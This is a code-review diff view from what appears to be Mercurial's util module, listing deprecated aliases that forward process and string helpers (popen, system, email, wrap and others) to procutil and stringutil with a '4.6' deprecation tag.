3831 closefds = procutil.closefds
3834 closefds = procutil.closefds
3832 isatty = _deprecatedfunc(procutil.isatty, '4.6')
3835 isatty = _deprecatedfunc(procutil.isatty, '4.6')
3833 popen2 = _deprecatedfunc(procutil.popen2, '4.6')
3836 popen2 = _deprecatedfunc(procutil.popen2, '4.6')
3834 popen3 = _deprecatedfunc(procutil.popen3, '4.6')
3837 popen3 = _deprecatedfunc(procutil.popen3, '4.6')
3835 popen4 = _deprecatedfunc(procutil.popen4, '4.6')
3838 popen4 = _deprecatedfunc(procutil.popen4, '4.6')
3836 pipefilter = _deprecatedfunc(procutil.pipefilter, '4.6')
3839 pipefilter = _deprecatedfunc(procutil.pipefilter, '4.6')
3837 tempfilter = _deprecatedfunc(procutil.tempfilter, '4.6')
3840 tempfilter = _deprecatedfunc(procutil.tempfilter, '4.6')
3838 filter = _deprecatedfunc(procutil.filter, '4.6')
3841 filter = _deprecatedfunc(procutil.filter, '4.6')
3839 mainfrozen = _deprecatedfunc(procutil.mainfrozen, '4.6')
3842 mainfrozen = _deprecatedfunc(procutil.mainfrozen, '4.6')
3840 hgexecutable = _deprecatedfunc(procutil.hgexecutable, '4.6')
3843 hgexecutable = _deprecatedfunc(procutil.hgexecutable, '4.6')
3841 isstdin = _deprecatedfunc(procutil.isstdin, '4.6')
3844 isstdin = _deprecatedfunc(procutil.isstdin, '4.6')
3842 isstdout = _deprecatedfunc(procutil.isstdout, '4.6')
3845 isstdout = _deprecatedfunc(procutil.isstdout, '4.6')
3843 shellenviron = _deprecatedfunc(procutil.shellenviron, '4.6')
3846 shellenviron = _deprecatedfunc(procutil.shellenviron, '4.6')
3844 system = _deprecatedfunc(procutil.system, '4.6')
3847 system = _deprecatedfunc(procutil.system, '4.6')
3845 gui = _deprecatedfunc(procutil.gui, '4.6')
3848 gui = _deprecatedfunc(procutil.gui, '4.6')
3846 hgcmd = _deprecatedfunc(procutil.hgcmd, '4.6')
3849 hgcmd = _deprecatedfunc(procutil.hgcmd, '4.6')
3847 rundetached = _deprecatedfunc(procutil.rundetached, '4.6')
3850 rundetached = _deprecatedfunc(procutil.rundetached, '4.6')
3848
3851
3849 binary = _deprecatedfunc(stringutil.binary, '4.6')
3852 binary = _deprecatedfunc(stringutil.binary, '4.6')
3850 stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
3853 stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
3851 shortuser = _deprecatedfunc(stringutil.shortuser, '4.6')
3854 shortuser = _deprecatedfunc(stringutil.shortuser, '4.6')
3852 emailuser = _deprecatedfunc(stringutil.emailuser, '4.6')
3855 emailuser = _deprecatedfunc(stringutil.emailuser, '4.6')
3853 email = _deprecatedfunc(stringutil.email, '4.6')
3856 email = _deprecatedfunc(stringutil.email, '4.6')
3854 ellipsis = _deprecatedfunc(stringutil.ellipsis, '4.6')
3857 ellipsis = _deprecatedfunc(stringutil.ellipsis, '4.6')
3855 escapestr = _deprecatedfunc(stringutil.escapestr, '4.6')
3858 escapestr = _deprecatedfunc(stringutil.escapestr, '4.6')
3856 unescapestr = _deprecatedfunc(stringutil.unescapestr, '4.6')
3859 unescapestr = _deprecatedfunc(stringutil.unescapestr, '4.6')
3857 forcebytestr = _deprecatedfunc(stringutil.forcebytestr, '4.6')
3860 forcebytestr = _deprecatedfunc(stringutil.forcebytestr, '4.6')
3858 uirepr = _deprecatedfunc(stringutil.uirepr, '4.6')
3861 uirepr = _deprecatedfunc(stringutil.uirepr, '4.6')
3859 wrap = _deprecatedfunc(stringutil.wrap, '4.6')
3862 wrap = _deprecatedfunc(stringutil.wrap, '4.6')
3860 parsebool = _deprecatedfunc(stringutil.parsebool, '4.6')
3863 parsebool = _deprecatedfunc(stringutil.parsebool, '4.6')
General Comments 0
You need to be logged in to leave comments. Login now